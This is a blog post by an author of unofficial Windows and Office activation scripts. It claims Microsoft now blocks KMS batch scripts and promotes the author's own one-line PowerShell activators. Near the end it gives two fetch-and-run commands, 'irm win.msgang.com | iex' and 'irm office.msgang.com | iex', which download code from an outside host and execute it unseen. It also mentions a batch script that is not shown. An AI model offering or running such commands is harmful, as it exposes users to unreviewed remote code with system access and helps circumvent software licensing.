Table of Contents
Batch script is not recommended anymore
After testing on several Windows devices, I realized that Microsoft has disallowed the use of KMS scripts in the latest update. To confirm this, I uploaded a batch script file to VirusTotal, and here are the results.
There was no official explanation or announcement; it was simply a quiet event. I imagine many of you were surprised, even shocked, when you first heard the news. However, Microsoft’s decision this time is fairly easy to comprehend.
KMS commands are developed by Microsoft, but batch scripts are not. They simply contain a collection of KMS commands and are written by individuals like me. My goal in creating these scripts is to help save time by automating the process, so you don’t have to run each command one by one in Command Prompt or Windows PowerShell. Below is a simple batch script to activate a Windows license.

This method has never been considered official since running a batch file with admin rights is not recommended by Microsoft. For instance, if the author includes a command to format your disk in the script, it could result in the loss of all your data.
Batch scripts are sometimes misused to deceive others.
Microsoft’s decision will eliminate opportunists and swindlers. I recommend using my one-line PowerShell script to activate Windows or Office licenses. If you need to use a batch script, our scripts are safe, but you should always verify the security and contents of any script from the internet that you are not familiar with.
One-line PowerShell command to activate all versions of Windows.
irm win.msgang.com | iex
One-line PowerShell command to activate all versions of Microsoft Office.
irm office.msgang.com | iex
Finally, I want to thank you all for always being there for me. Your support and encouragement mean so much. I just want to express my heartfelt gratitude.